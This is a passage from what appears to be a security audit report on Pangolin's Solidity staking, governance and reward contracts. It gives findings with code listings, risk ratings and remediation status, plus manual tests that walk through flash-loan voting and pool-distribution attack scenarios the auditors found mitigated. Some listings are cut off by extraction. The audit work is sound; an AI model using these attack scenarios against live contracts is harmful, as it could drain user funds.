59     for (uint i; i<stakes.length; i++) {
60         IStakingRewards staking = IStakingRewards(stakes[i]);
61
62         uint staked_PNG = staking.stakingToken() == address(png) ?

```

```
        staking.balanceOf(voter) : uint(0);  
63  
64      uint pending_PNG = staking.rewardsToken() == address(png)  
           ? staking.earned(voter) : uint(0);  
65  
66      votes += (staked_PNG + pending_PNG);  
67    }  
68 }
```

### RewardeComplex.sol

**Listing 15: RewarderComplex.sol (Lines 154,155)**

```
152 function massUpdatePools(uint256[] calldata pids) external {  
153     uint256 len = pids.length;  
154     for (uint256 i = 0; i < len; ++i) {  
155         updatePool(pids[i]);  
156     }  
157 }
```

Risk Level:

Likelihood - 2

Impact - 2

Recommendation:

If possible, use pull over push strategy for external calls.

Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

## 3.11 (HAL-11) USE OF BLOCK.TIMESTAMP - LOW

### Description:

During a manual review, we noticed the use of `block.timestamp`. The contract developers should be aware that this does not mean current time. Miners can influence the value of `block.timestamp` to perform Maximal Extractable Value (MEV) attacks. The use of `block.timestamp` creates a risk that miners could perform time manipulation to influence price oracles. Miners can modify the timestamp by up to 900 seconds.

### Code Location:

`StakingRewards.sol`

#### Listing 16: StakingRewards.sol (Lines 54)

```
53 function lastTimeRewardApplicable() public view returns (uint256)
54     {
55         return Math.min(block.timestamp, periodFinish);
```

#### Listing 17: StakingRewards.sol (Lines 123,126,138,139)

```
122 function notifyRewardAmount(uint256 reward) external onlyOwner
123     updateReward(address(0)) {
124         if (block.timestamp >= periodFinish) {
125             rewardRate = reward.div(rewardsDuration);
126         } else {
127             uint256 remaining = periodFinish.sub(block.timestamp);
128             uint256 leftover = remaining.mul(rewardRate);
129             rewardRate = reward.add(leftover).div(rewardsDuration);
130         }
131         // Ensure the provided reward amount is not more than the
132         // balance in the contract.
133         // This keeps the reward rate in the right range, preventing
134         // overflows due to
```

```

133     // very high values of rewardRate in the earned and
134     // rewardsPerToken functions;
135     uint balance = rewardsToken.balanceOf(address(this));
136     require(rewardRate <= balance.div(rewardsDuration), "Provided
137         reward too high");
138     lastUpdateTime = block.timestamp;
139     periodFinish = block.timestamp.add(rewardsDuration);
140     emit RewardAdded(reward);
141 }
```

**Listing 18:** StakingRewards.sol (Lines 152)

```

150 function setRewardsDuration(uint256 _rewardsDuration) external
151     onlyOwner {

189     }
190     proposal.eta = eta;
191     emit ProposalQueued(proposalId, eta);
192 }
```

**Listing 22: GovernorAlpha.sol (Lines 235,237,245)**

```

230 function state(uint proposalId) public view returns (ProposalState
231     ) {
232     require(proposalCount >= proposalId && proposalId > 0, "
233         GovernorAlpha::state: invalid proposal id");
234     Proposal storage proposal = proposals[proposalId];
235     if (proposal.canceled) {
236         return ProposalState.Canceled;
237     } else if (block.timestamp <= proposal.startTime) {
238         return ProposalState.Pending;
239     } else if (block.timestamp <= proposal.endTime) {
240         return ProposalState.Active;
241     } else if (proposal.forVotes <= proposal.againstVotes) {
242         return ProposalState.Defeated;
243     } else if (proposal.eta == 0) {
244         return ProposalState.Succeeded;
245     } else if (block.timestamp >= add256(proposal.eta, timelock.
246         GRACE_PERIOD())) {
247         return ProposalState.Expired;
248     } else {
249         return ProposalState.Queued;
250     }

```

**MiniChefV2.sol****Listing 23: MiniChefV2.sol**

```

1 MiniChefV2.sol:144: lastRewardTime: block.timestamp.to64(),
2 MiniChefV2.sol:224: if (block.timestamp > pool.lastRewardTime &&
    lpSupply != 0) {
3 MiniChefV2.sol:225: uint256 time = block.timestamp <=
    rewardsExpiration
4 MiniChefV2.sol:226: ? block.timestamp.sub(pool.lastRewardTime)
5 MiniChefV2.sol:256: if (block.timestamp > pool.lastRewardTime) {
6 MiniChefV2.sol:259: uint256 time = block.timestamp <=
    rewardsExpiration
7 MiniChefV2.sol:260: ? block.timestamp.sub(pool.lastRewardTime)
8 MiniChefV2.sol:265: pool.lastRewardTime = block.timestamp.to64();
9 MiniChefV2.sol:411: if (block.timestamp >= rewardsExpiration) {
10 MiniChefV2.sol:414: rewardsExpiration = block.timestamp.add(

```

```
        duration);
11 MiniChefV2.sol:417: uint256 remainingTime = rewardsExpiration.sub(
    block.timestamp);
12 MiniChefV2.sol:420: uint256 newSushiPerSecond = remainingRewards.
    add(funding) / (newRewardsExpiration.sub(block.timestamp));
13 MiniChefV2.sol:439: uint256 remainingTime = rewardsExpiration.sub(
    block.timestamp);
14 MiniChefV2.sol:441: rewardsExpiration = block.timestamp.add(
    duration);
15 MiniChefV2.sol:442: sushiPerSecond = remainingRewards / (
    rewardsExpiration.sub(block.timestamp));
```

Risk Level:

**Likelihood - 3**

**Impact - 1**

Recommendation:

Use `block.number` instead of `block.timestamp` or now to reduce the risk of Maximal Extractable Value (MEV) attacks. Check if the timescale of the project occurs across years, days and months rather than seconds. If possible, it is recommended to use Oracles.

Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

## 3.12 (HAL-12) INCOMPATIBILITY WITH INFLATIONARY TOKENS - LOW

Description:

In multiple functions OpenZeppelin's `safeTransferFrom` and `safeTransfer` is used to handle the token transfers. These functions call `transferFrom` and `transfer` internally in the token contract to actually execute the transfer. However, since the actual amount transferred ie. the delta of previous (before transfer) and current (after transfer) balance is not verified, a malicious user may list a custom ERC20 token with the `transferFrom` or `transfer` function modified in such a way that it does not transfer any tokens at all and the attacker is still going to have their liquidity pool tokens minted anyway.

Example:

`StakingRewards.sol`

**Listing 24: StakingRewards.sol (Lines 85,93,101,109)**

```
77 function stakeWithPermit(uint256 amount, uint deadline, uint8 v,
    bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) {
78     require(amount > 0, "Cannot stake 0");
79     _totalSupply = _totalSupply.add(amount);
80     _balances[msg.sender] = _balances[msg.sender].add(amount);
81
82     // permit
83     IPangolinERC20(address(stakingToken)).permit(msg.sender,
84         address(this), amount, deadline, v, r, s);
85     stakingToken.safeTransferFrom(msg.sender, address(this),
86         amount);
87     emit Staked(msg.sender, amount);
88 }
89 function stake(uint256 amount) external nonReentrant updateReward(
90     msg.sender) {
```

```

90     require(amount > 0, "Cannot stake 0");
91     _totalSupply = _totalSupply.add(amount);
92     _balances[msg.sender] = _balances[msg.sender].add(amount);
93     stakingToken.safeTransferFrom(msg.sender, address(this),
94                                   amount);
95     emit Staked(msg.sender, amount);
96 }
97 function withdraw(uint256 amount) public nonReentrant updateReward
98   (msg.sender) {
99     require(amount > 0, "Cannot withdraw 0");
100    _totalSupply = _totalSupply.sub(amount);
101    _balances[msg.sender] = _balances[msg.sender].sub(amount);
102    stakingToken.safeTransfer(msg.sender, amount);
103    emit Withdrawn(msg.sender, amount);
104 }
105 function getReward() public nonReentrant updateReward(msg.sender)
106   {
107     uint256 reward = rewards[msg.sender];
108     if (reward > 0) {
109       rewards[msg.sender] = 0;
110       rewardsToken.safeTransfer(msg.sender, reward);
111       emit RewardPaid(msg.sender, reward);
112   }

```

**Listing 25: StakingRewards.sol (Lines 146)**

```

144 function recoverERC20(address tokenAddress, uint256 tokenAmount)
145   external onlyOwner nonReentrant {
146     require(tokenAddress != address(stakingToken), "Cannot
147       withdraw the staking token");
148     IERC20(tokenAddress).safeTransfer(owner(), tokenAmount);
149     emit Recovered(tokenAddress, tokenAmount);
150   }

```

Risk Level:

**Likelihood - 2**

**Impact - 2**

## Recommendation:

Whenever tokens are transferred, the delta of the previous (before transfer) and current (after transfer) token balance should be verified to match the user-declared token amount.

## Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

### 3.13 (HAL-13) DIVIDE BEFORE MULTIPLY - LOW

Description:

Solidity integer division might truncate. As a result, performing multiplication before division might reduce precision.

Code Location:

StakingRewards.sol

175         emit LogUpdatePool(pid, pool.lastRewardBlock, lpSupply,
176             pool.accSushiPerShare);
176     }
177 }
```

**Risk Level:****Likelihood - 2****Impact - 2****Recommendation:**

Consider ordering multiplication before division.

## FINDINGS & TECH DETAILS

Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

## 3.14 (HAL-14) UNUSED VARIABLE/EXPRESSION - INFORMATIONAL

### Description:

In the contracts `LiquidityPoolManager.sol` and `LiquidityPoolManagerV2.sol` an unused expression has been detected. The mathematical operation is performed inside a loop but nothing is done with its final result.

On the other hand in the contract `RewardsSimple.sol` the function `pendingTokens()` contains a parameter `user` which then is not used anywhere in the function.

### Code Location:

`LiquidityPoolManager.sol`

**Listing 32: LiquidityPoolManager.sol (Lines 274,278)**

```
245 function calculateReturns() public {
246     require(!readyToDistribute, 'LiquidityPoolManager::
247         calculateReturns: Previous returns not distributed. Call
248         distributeTokens()');
249     require(unallocatedPng > 0, 'LiquidityPoolManager::
250         calculateReturns: No PNG to allocate. Call vestAllocation()
251         .');
252     if (pngPairs.length() > 0) {
253         require!(avaxPngPair == address(0)), '
254             LiquidityPoolManager::calculateReturns: Avax/PNG Pair
255             not set');
256     }
257     // Calculate total liquidity
258     distribution = new uint[](numPools);
259     uint totalLiquidity = 0;
260     // Add liquidity from AVAX pairs
261     for (uint i = 0; i < avaxPairs.length(); i++) {
```

```

258         uint pairLiquidity = getAvaxLiquidity(avaxPairs.at(i));
259         distribution[i] = pairLiquidity;

366     readyToDistribute = true;
367 }

```

### RewardsSimple.sol

**Listing 34: RewardsSimple.sol**

```

34 function pendingTokens(uint256 pid, address user, uint256
35     sushiAmount) override external view returns (IERC20[] memory
36     rewardTokens, uint256[] memory rewardAmounts) {
37     IERC20[] memory _rewardTokens = new IERC20[](1);
38     _rewardTokens[0] = (rewardToken);
39     uint256[] memory _rewardAmounts = new uint256[](1);
40     _rewardAmounts[0] = sushiAmount.mul(rewardMultiplier) /
41         REWARD_TOKEN_DIVISOR;
42     return (_rewardTokens, _rewardAmounts);
43 }

```

Risk Level:

**Likelihood** - 1

**Impact** - 1

Recommendation:

Consider removing the transferred variable and the `transferred = transferred + pairTokens;` expression. Consider also removing the parameter `user` from the `pendingTokens()` function in `RewardeSimple.sol` contract.

Remediation Plan:

**ACKNOWLEDGED:** Pangolin team acknowledges this issue.

## 3.15 (HAL-15) POSSIBLE MISUSE OF PUBLIC FUNCTIONS - INFORMATIONAL

Description:

In the contracts `GovernorAlpha`, `PNG` and `MiniChefV2.sol` there are functions marked as public but they are never directly called within the same contract or in any of its descendants:

`GovernorAlpha.sol`

- `propose(address[],uint256[],string[],bytes[],string)` (`GovernorAlpha.sol#139-178`)
- `queue(uint256)` (`GovernorAlpha.sol#180-189`)
- `execute(uint256)` (`GovernorAlpha.sol#196-204`)
- `cancel(uint256)` (`GovernorAlpha.sol#206-219`)
- `getActions(uint256)` (`GovernorAlpha.sol#221-224`)
- `getReceipt(uint256,address)` (`GovernorAlpha.sol#226-228`)
- `castVote(uint256,bool)` (`GovernorAlpha.sol#252-254`)
- `castVoteBySig(uint256,bool,uint8,bytes32,bytes32)` (`GovernorAlpha.sol#256-263`)
- `__acceptAdmin()` (`GovernorAlpha.sol#289-292`)
- `__abdicate()` (`GovernorAlpha.sol#294-297`)
- `__queueSetTimelockPendingAdmin(address,uint256)` (`GovernorAlpha.sol#299-302`)
- `__executeSetTimelockPendingAdmin(address,uint256)` (`GovernorAlpha.sol#304-307`)

`PNG.sol`

- `delegate(address)` (`PNG.sol#184-186`)
- `delegateBySig()` (`PNG.sol#197-206`)
- `getPriorVotes(address,uint256)` (`PNG.sol#225-257`)

`MiniChefV2.sol`

- `poolLength()` (`MiniChefV2.sol#99-101`)
- `setMigrator(IMigratorChef)` (`MiniChefV2.sol#188-192`)
- `disableMigrator()` (`MiniChefV2.sol#196-199`)
- `migrate(uint256)` (`MiniChefV2.sol#203-213`)
- `deposit(uint256,uint256,address)` (`MiniChefV2.sol#275-292`)
- `withdraw(uint256,uint256,address)` (`MiniChefV2.sol#298-315`)
- `harvest(uint256,address)` (`MiniChefV2.sol#320-340`)
- `withdrawAndHarvest(uint256,uint256,address)` (`MiniChefV2.sol#346-368`)

- emergencyWithdraw(uint256,address) (MiniChefV2.sol#373-382)

RewardsComplex.sol

- poolLength() (RewardsComplex.sol#102-104)
- add(uint256,uint256) (RewardsComplex.sol#110-122)
- set(uint256,uint256) (RewardsComplex.sol#127-131)

Risk Level:

**Likelihood** - 1

**Impact** - 1

Recommendation:

If the function is not intended to be called internally or by descendants, it is better to mark all these functions as `external` to save gas.

Remediation Plan:

**ACKNOWLEDGED:** Pangolin team acknowledges this issue.

## 3.16 (HAL-16) USE OF INLINE ASSEMBLY - INFORMATIONAL

Description:

Inline assembly is a way to access the Ethereum Virtual Machine at a low level. This discards several important safety features in Solidity.

Code Location:

GovernorAlpha.sol

**Listing 35: GovernorAlpha.sol (Lines 322)**

```
320 function getChainId() internal pure returns (uint) {
321     uint chainId;
322     assembly { chainId := chainid() }
323     return chainId;
324 }
```

PNG.sol

**Listing 36: PNG.sol (Lines 334)**

```
332 function getChainId() internal pure returns (uint) {
333     uint256 chainId;
334     assembly { chainId := chainid() }
335     return chainId;
336 }
```

Risk Level:

**Likelihood** - 1

**Impact** - 2

### Recommendation:

When possible, do not use inline assembly because it allows access to the EVM (Ethereum Virtual Machine) at a low level. An attacker could bypass many important safety features of Solidity. On the other hand, for these concrete cases, `chainid` is available in native Solidity `0.8.0`.

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity 0.8.0;
3
4 contract test {
5
6     function getChainId() external view returns (uint) {
7         return block.chainid;
8     }
9 }
10
11
```

### Remediation Plan:

**ACKNOWLEDGED:** Pangolin team acknowledges this issue.

## 3.17 (HAL-17) TAUTOLOGY EXPRESSIONS - INFORMATIONAL

Description:

In the contract `PNG.sol` a tautology expression has been detected. Such expressions are of no use since they always evaluate true/false regardless of the context they are used in.

Code Location:

`PNG.sol`

**Listing 37: `PNG.sol` (Lines 169)**

```
164 function transferFrom(address src, address dst, uint rawAmount)
165     external returns (bool) {
166     address spender = msg.sender;
167     uint96 spenderAllowance = allowances[src][spender];
168     uint96 amount = safe96(rawAmount, "Png::approve: amount
169         exceeds 96 bits");
170     if (spender != src && spenderAllowance != uint96(-1)) {
171         uint96 newAllowance = sub96(spenderAllowance, amount, "Png
172             ::transferFrom: transfer amount exceeds spender
173             allowance");
174         allowances[src][spender] = newAllowance;
175         emit Approval(src, spender, newAllowance);
176     }
177     _transferTokens(src, dst, amount);
178     return true;
179 }
```

Risk Level:

**Likelihood** - 1

**Impact** - 1

Recommendation:

`spenderAllowance != uint96(-1)`

`spenderAllowance` is an `uint` variable which means that its range will be  $\langle 0, 2^{256} - 1 \rangle$ , hence it will never be equal to `-1`, so `spenderAllowance != uint96(-1)` will always be true making this check unnecessary.

Remediation Plan:

**ACKNOWLEDGED:** Pangolin team acknowledges this issue.

# MANUAL TESTING

## 4.1 INTRODUCTION

Halborn performed different manual tests in all the contracts trying to find logic flaws and vulnerabilities that were not detected by the automatic tools.

During the manual testing multiple questions were considered while evaluating each of the defined functions:

- Can it be re-called changing admin/roles and permissions?
- Can somehow an external controlled contract call again the function during the execution of it? (Re-entrancy)
- Can a function be called twice in the same block causing issues?
- Do we control sensitive or vulnerable parameters?
- Does the function check for boundaries on the parameters and internal values? Bigger than zero or equal? Argument count, array sizes, integer truncation. . .
- Are the function parameters and variables controlled by external contracts?
- Can extended contracts cause issues on the extender contract?

## 4.2 AIRDROP CONTRACT

The contract `Airdrop` contains the logic to administer the airdrop of PNG tokens to UNI and SUSHI holder. Our testing in this contract focused in double checking that the functions had implemented the correct access control, as all the functions of the contract were public/external. The following functions can only be called by the owner of the contract:

- `setRemainderDestination(address remainderDestination_)`
- `setowner(address owner_)`
- `allowClaiming()`
- `endClaiming()`
- `whitelistAddress(address addr, uint96 pngOut)`
- `whitelistAddresses(address[] memory addrs, uint96[] memory pngOuts)`

The only function that can be called by anyone is the `claim()` function as expected. This function is secured as can only be called during the claiming period, requires that the user has 1 UNI or SUSHI token and follows the check-effects-interactions pattern resetting the `withdrawAmount[msg.sender]` to 0 right before transferring the PNG tokens to the user.

## 4.3 COMMUNITYTREASURY CONTRACT

The contract `CommunityTreasury` is very simple, containing just 2 functions:

- `transfer()` which can only be called by the owner of the contract.
- `balance()` which is a getter function to check the balance of the contract.

## 4.4 GOVERNORALPHA CONTRACT

The contract `GovernorAlpha` allows PNG token holders to create, cancel, queue, execute, approve and reject different proposals. Our testing in this contract focused mainly in preventing flash loans and making sure that the users were not able to vote multiple times.

When a user votes for a proposal the voting power considered by the smart contract is the voting power that all the users had in the block where the proposal was created:

**Listing 38: GovernorAlpha.sol - function castVote()**

```
1 uint96 votes = png.getPriorVotes(voter, proposal.startBlock);
```

Moreover, the function `getPriorVotes()` contains the following require statement:

**Listing 39: PNG.sol (Lines 226)**

```
225 function getPriorVotes(address account, uint blockNumber) public
    view returns (uint96) {
226     require(blockNumber < block.number, "Png::getPriorVotes:
        not yet determined");
```

This means that after calling `Png.delegate()` we would have to wait 1 block before `Png.getPriorVotes()` can be called in order to check the voting power. Also, the voting power is updated in the following cases:

1. User calls the function `Png.delegate()`.
2. Function `Png.transfer()` is called.
3. Function `Png.transferFrom()` is called.

At the end of a flash loan transaction the attacker would always have to return the tokens and this can only be achieved by calling the `Png.transfer()` or `Png.transferFrom()` function which would reupdate the voting power back to the state previous to the flash loan. For example:

1. Initially the attacker has 1,000,001 PNG tokens => He is a proposer.

2. Attacker performs a flash loan of 100,000,000 PNG tokens, increasing his PNG's balance to 101,000,001 tokens. At this point, he has 2 options:

- a) In the same transaction/block.number the attacker calls `Png.delegate()`, which updates his voting power, creates a proposal and returns the flash loan calling `Png.transfer()`. When creating the proposal the voting power considered by the smart contract is the one that he had in the previous block.number, before the flash loan, which means that his voting power would not be increased:

**Listing 40: GovernorAlpha.sol (Lines 140)**

```

139   function propose(address[] memory targets, uint[] memory
140     values, string[] memory signatures, bytes[] memory
141     calldatas, string memory description) public returns (
142     uint) {
143     require(png.getPriorVotes(msg.sender, sub256(block.number,
144       1)) > proposalThreshold(),"GovernorAlpha::propose:
145       proposer votes below proposal threshold");
146 }
```

- b) In the same transaction/block.number the attacker calls `Png.delegate()`, which updates his voting power, and then returns the flash loan with `Png.transfer()` or `Png.transferFrom()`. When the attacker returns the flash loan by calling `Png.transfer()` or `Png.transferFrom()` his voting power would be reupdated again. Once again, taking this approach, the attacker would not be able to increase his voting power.

On the other hand, the contract is also covered against the following case:

1. User1 votes to approve the proposal.
2. User1 calls `Png.delegate(user2)`.
3. User2 votes to approve the proposal.
4. User2 approval votes counted by the contract for the proposal are the ones he had at the time of the proposal creation. They were not increased by the `delegate` call.

```

```

Finally, it is worth mentioning, that any proposal is eligible to be cancelled at any time prior to its execution, including while queued in the Timelock, using the `GovernorAlpha.cancel()` function.

The cancel function can be called by the proposal creator, or any Ethereum address, if the proposal creator fails to maintain more delegated votes than the proposal threshold (e.g. 1,000,000).

## 4.5 LIQUIDITYPOOLMANAGER CONTRACT

`LiquidityPoolManager` distributes PNG tokens to whitelisted trading pairs.  
The contract contains the following getter functions:

- `isWhitelisted(address pair)`
- `isAvaxPair(address pair)`
- `isPngPair(address pair)`
- `getAvaxLiquidity(address pair)`
- `getPngLiquidity(address pair, uint conversionFactor)`
- `getAvaxPngRatio()`

And the following external/public functions:

- `setAvaxPngPair(address avaxPngPair_) (onlyOwner)`
- `addWhitelistedPool(address pair) (onlyOwner)`
- `removeWhitelistedPool(address pair) (onlyOwner)`
- `calculateReturns()`
- `distributeTokens()`
- `distributeTokensSinglePool(uint pairIndex)`
- `calculateAndDistribute()`
- `vestAllocation()`

In the test case below we can see that the functions `addWhitelistedPool`, `removeWhitelistedPool`, `isWhitelisted`, `isAvaxPair` and `isPngPair` work as expected.

```

Png[0].balanceOf(stakeAddress) -> 1337
```

It is worth mentioning that after calling `distributeTokensSinglePool`, `distributeTokens` should be called once before recalling `vestAllocation` so the `readyToDistribute` variable is set to false and `unallocatedPng` variable is set to 0.

Moreover, we tested the following example scenario:

1. There are 2 whitelisted AVAX pools: Pool 0 and Pool 1.
2. Attacker calls `vestAllocation`.
3. Attacker calls `calculateReturns`.
4. Attacker calls `distributeTokensSinglePool(0)` which triggers:  
`distribution[pairIndex] = 0;`
5. If he tries now to call `calculateReturns` again and then once again `distributeTokensSinglePool(0)` to takeover the tokens of Pool 1, he will not be able to as `readyToDistribute` variable is set to True and will not be reset to False until `distributeTokens` is called. Calling `distributeTokens` would distribute 0 tokens to Pool 0 as `distribution[0]` was set previously to 0 and the Pool 1 would receive its corresponding tokens correctly.

## 4.6 LIQUIDITYPOOLMANAGERV2 CONTRACT

`LiquidityPoolManagerV2` distributes PNG tokens to whitelisted trading pairs. The contract contains the following getter functions:

- `isWhitelisted(address pair)`
- `isAvaxPair(address pair)`
- `isPngPair(address pair)`
- `getAvaxLiquidity(address pair)`
- `getPngLiquidity(address pair, uint conversionFactor)`
- `getAvaxPngRatio()`

And the following external/public functions:

- `setAvaxPngPair(address avaxPngPair_) (onlyOwner)`
- `addWhitelistedPool(address pair, uint weight) (onlyOwner)`
- `removeWhitelistedPool(address pair) (onlyOwner)`
- `changeWeight(address pair, uint weight) (onlyOwner)`
- `activateFeeSplit(uint avaxSplit_, uint pngSplit_) (onlyOwner)`
- `deactivateFeeSplit() (onlyOwner)`
- `calculateReturns()`
- `distributeTokens()`
- `distributeTokensSinglePool(uint pairIndex)`
- `calculateAndDistribute()`
- `vestAllocation()`

The version 2 adds weights to the pools and fees.

The tests performed for this contract were similar than the ones executed in `LiquidityPoolManager` contract. On top of that, we added some extra test cases to the provided `test/LiquidityPoolManager.js` script and executed them successfully.

## 4.7 PNG CONTRACT

The contract `Png` is a custom token contract which contains the following functions:

- `allowance()`
- `approve()`
- `permit()`
- `balanceOf()` - view
- `transfer()`
- `transferFrom()`
- `delegate()`
- `delegateBySig()`
- `getCurrentVotes()` - view
- `getPriorVotes()` - view
- `_delegate()`
- `_transferTokens()`
- `_moveDelegates()`
- `_writeCheckpoint()`

The functions `transfer`, `transferFrom` and `delegate` call internally `_writeCheckpoint`. This means that every time these functions are called the voting power is updated.

It is worth mentioning that this functionality is critical and should always be kept in future updates, as it is acting as a protection mechanism against flash loans, as explained in GovernorAlpha's contract analysis.

We can see below how the voting power was updated right after the `transferFrom` and `delegate` functions were called:

```
>>> Png[0].transferFrom(owner.address, user1.address, 100000000000000000000)

## 4.8 PANGOLINVOTECALCULATOR CONTRACT

The contract `PangolinVoteCalculator` contains 3 view functions and a setter function that can only be called by the owner of the contract to change the address of the Liquidity Pool Manager:

- `getVotesFromFarming()`
- `getVotesFromStaking()`
- `getVotesFromWallets()`
- `changeLiquidityPoolManager()` - `onlyOwner`

We can see below how the view functions are working correctly:

```
>>> owner.deploy(StakingRewards, lpToken.address, Png[0].address)

## 4.9 MINICHEFV2 CONTRACT

The contract `MiniChefV2` is based on [SushiSwap's MiniChefV2 contract](#) and contains the following functions:

- `poolLength()` - view
- `isFunder()` - view
- `addPool()` (onlyOwner)
- `addPools()` (onlyOwner)
- `add()` - internal
- `setPool()` (onlyOwner)
- `setPools()` (onlyOwner)
- `set()` - internal
- `setMigrator()` (onlyOwner)
- `disableMigrator()` (onlyOwner)
- `migrate()`
- `pendingSushi()` - view
- `massUpdatePools()`
- `massUpdateAllPools()`
- `updatePool()`
- `deposit()`
- `withdraw()`
- `harvest()`
- `withdrawAndHarvest()`
- `emergencyWithdraw()`
- `addFunder()` (onlyOwner)
- `removeFunder()` (onlyOwner)
- `fundRewards()` (onlyOwner)
- `resetRewardsDuration()` (onlyOwner)
- `extendRewardsViaFunding()`
- `extendRewardsViaDuration()`

During the manual testing phase in the `MiniChefV2` contract the following issues were found:

- REWARD PERIOD CAN BE EXTENDED INDEFINITELY

- INCORRECT LOGIC IN MINICHEFV2 LEADS TO DOS
- FUNCTION MIGRATE MISSING ONLYOWNER MODIFIER
- IMPRECISION IN REWARD DISTRIBUTION

## Test 1: addPool(), addPools(), setPool()and setPools()

The function `addPool` is used to add a single reward pool.

```
>>> minichef.poolLength()
0

>>> minichef.addPool(100, lptoken.address, rewarder1.address)
Transaction sent: 0x631d7426ebafaf997e14074447e704b5fcde375f9221c4d1909a014fe0cf3d4
  Gas price: 0.0 gwei  Gas limit: 6721975  Nonce: 6
  MiniChefV22.addPool confirmed  Block: 13411304  Gas used: 195611 (2.91%)

<Transaction 0xe51d7426ebafaf997e14074447e704b5fcde375f9221c4d1909a014fe0cf3d4'>
>>> minichef.poolLength()
1
```

Every time this function is called all the pools are upgraded which means that the gas costs for calling this function will increase the more pools there are in the contract, although after doing some tests we can see that the gas costs increases very slowly, just by 15913 GWEI every time a new pool is added.

```
>>> lptoken4 = owner.deploy(lptoken)

```

## Test 2: `setMigrator()`, `disableMigrator()`and `migrate()`

These functions allow migrating LP tokens to another LP contract through the `migrator` contract, for example, `SushiRoll contract`.

The `migrate` function essentially:

- Remove liquidity from one contract.
- Add liquidity in other contract.

After doing some testing, we noticed that anyone is able to call the `migrate` function once `setMigrator` has been called previously by an admin. See vulnerability `FUNCTION MIGRATE MISSING ONLYOWNER MODIFIER`.

### Test 3: deposit(), withdraw(), harvest()and withdrawAndHarvest()

Below we can see how `sushiPerSecond` variable is assigned once `fundRewards` function is called. On the other hand, we can see how calling `harvest` assigns the correct `rewardDebt` to the `userInfo`:

```

User1 receives the 66% of the 50% of the reward tokens, User2 receives the 33% of the 50% of the reward tokens.

Test 10: harvest(), 1 pool, 100% of the allocPoints, 2 users, half of the reward period 1 user, the other half another

In this test case, there is just one pool in the contract. In the pool only the user1 has deposited 1000 tokens. The duration of the rewards is set to 86400 seconds. In this test, the user1 calls `withdrawAndHarvest` in the second 43200~. Then, he performs a deposit of those 1000 tokens as the user2 `minichef.deposit(0, 1000, user2.address, {'from': user1.address})`

Then after the whole 86400 period is over, user2 calls `harvest`. User1 and User2, both receive half of the total reward tokens:

```

## Test 11: Calling fundRewards()twice

These were the steps followed in this test case:

1. `minichef.fundRewards(10000000000000000000, 86400, {'from': owner.address})` was called.
2. User1 deposited 1000 tokens into the only pool.
3. 43200 seconds later: `minichef.fundRewards(10000000000000000000, 86400, {'from': owner.address})` was called a second time.
4. User1 called `minichef.harvest(0, user1.address, {'from': user1.address})` receiving 500023148148144948 reward tokens.
5. 43200 seconds later: User1 called a second time `minichef.harvest(0, user1.address, {'from': user1.address})` increasing his total reward tokens balance to 100003472222215822.
6. 43200 seconds later: User1 called a third time `minichef.harvest(0, user1.address, {'from': user1.address})` increasing his total reward tokens balance to 150003472222212622.
7. 43200 seconds later: User1 called a fourth time `minichef.harvest(0, user1.address, {'from': user1.address})` increasing his total reward tokens balance to 1999999999999987200.
8. Further calls to `minichef.harvest` were reverted as there were no more reward tokens to distribute.

After 43200 seconds the user1 had got 499999999999996800 reward tokens but after that, as the rewards duration was reset, the amount of rewards token received in the same period of time decreased by a half as expected.

### Test 13: extendRewardsViaFunding()

These were the steps followed in this test case:

1. `minichef.fundRewards(10000000000000000000, 86400, {'from': owner.address})` was called.
2. User1 deposited 1000 tokens: `minichef.deposit(0, 1000, user1.address, {'from': user1.address})`
3. 43200 seconds later: User1 called `minichef.harvest(0, user1.address, {'from': user1.address})` receiving 500011574074070874 reward tokens.
4. `ExtendRewardsViaFunding` was called by adding the same amount that was used in `fundRewards`: `minichef.extendRewardsViaFunding(10000000000000000000, 1, {'from': owner.address})`
5. Every 43200 seconds `harvest` was called. We can see how the reward rate was not changed and the user kept receiving the same amount of tokens after the same period of time and also, since the amount was the same initial amount used in `fundRewards` we can see how the duration of the rewards was doubled as expected.

```

## 4.10 REWARDERCOMPLEX & REWARDERSIMPLE CONTRACT

The contract `RewardsComplex` contains the following functions:

- `onSushiReward()`
- `pendingTokens()` - view
- `poolLength()` - view
- `add()`
- `set()`
- `pendingToken()` - view
- `massUpdatePools()`
- `updatePool()`

On the other hand, The contract `RewardsSimple` contains these 2 functions:

- `onSushiReward()`
- `pendingTokens()` - (Only callable by `MASTERCHEF_V2`)

The function `onSushiReward` is used by `MiniChefV2` contract:

```
_rewarder.onSushiReward(pid, to, to, 0, user.amount); (MiniChefV2.sol:286)
_rewarder.onSushiReward(pid, msg.sender, to, 0, user.amount);
(MiniChefV2.sol:309)
_rewarder.onSushiReward( pid, msg.sender, to, _pendingSushi, user.
amount); (MiniChefV2.sol:336)
_rewarder.onSushiReward(pid, msg.sender, to, _pendingSushi, user.amount
); (MiniChefV2.sol:361)
```

Most of the testing of these 2 contracts were done in the `MiniChefV2` contract section, although we ran the following tests in the `RewardsComplex` contract:

**Listing 41: Brownie testing script (Lines 1,2,3,4)**

```
1 WEIGHT1 = 100
2 WEIGHT2 = 100
3 AMOUNT1 = 1000
4 AMOUNT2 = 1000
5
6 sushi = owner.deploy(SUSHI)
7 # constructor(IERC20 _sushi, address _firstOwner) public
8 minichef = owner.deploy(MiniChefV2, sushi.address, owner.address)
9 # constructor (IERC20 _rewardToken, uint256 _tokenPerBlock,
10   address _MASTERCHEF_V2) public {
11 rewardercomplex = owner.deploy(RewardsComplex, sushi.address,
12   100, minichef.address)
13
14 lptoken1 = owner.deploy(lpToken)
15 lptoken2 = owner.deploy(lpToken)
16 lptoken1.mint(user1.address, AMOUNT1)
17 lptoken2.mint(user2.address, AMOUNT2)
18 minichef.addPool(AMOUNT1, lptoken1.address, rewardercomplex.
19   address)
20 minichef.addPool(AMOUNT2, lptoken2.address, rewardercomplex.
21   address)
22
23 # function onSushiReward (uint256 pid, address _user, address to,
24   uint256, uint256 lpToken)
25 rewardercomplex.onSushiReward(0, user1.address, user1.address, 0,
26   AMOUNT1, {'from': minichef.address})
27 lptoken1.approve(minichef.address, AMOUNT1, {'from': user1.address
28   })
29 lptoken1.transfer(minichef.address, AMOUNT1, {'from': user1.
30   address})
31
32 rewardercomplex.massUpdatePools([0,1])
```

```

